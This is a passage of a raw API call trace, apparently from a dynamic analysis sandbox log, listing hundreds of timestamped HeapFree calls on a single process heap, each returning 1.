hHeap=0x6a0000) returned 1 [0062.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.640] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.642] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.647] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.661] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.663] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.688] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.691] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.692] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.694] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.157] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.158] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.160] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.161] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.163] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.164] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.166] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.169] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.171] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.172] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0063.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0063.174] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0063.178] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0063.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.468] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.471] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.473] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.475] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.481] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.483] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.484] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.489] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.666] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.679] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.681] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.683] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.685] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.705] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.710] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.714] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.716] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.719] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.721] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.723] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.725] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0063.727] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.094] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.097] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.098] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.102] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.105] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.111] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.113] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.113] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0064.115] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.118] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.123] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.859] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.861] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.863] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.864] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.866] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.868] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.870] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.872] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.874] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.876] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.878] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.880] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.884] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.886] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.888] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0064.890] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.039] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.041] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.043] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.045] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.049] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.051] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.053] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.055] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.057] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.059] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.060] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.060] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.061] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.061] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.062] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.064] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.065] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.071] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.073] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.074] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.477] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.480] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.480] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43bb048 | out: hHeap=0x6a0000) returned 1 [0065.480] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.482] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.484] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.484] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.487] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.489] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.501] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.504] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.506] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.508] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.510] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0065.511] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0065.512] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0066.019] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0066.021] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0066.021] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0066.024] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.026] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.027] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.028] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.028] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.028] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.029] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.036] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.036] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.037] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.037] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.037] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.037] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.039] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.039] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.039] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.790] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.791] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.795] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.887] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0066.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0067.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.326] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.327] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.328] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 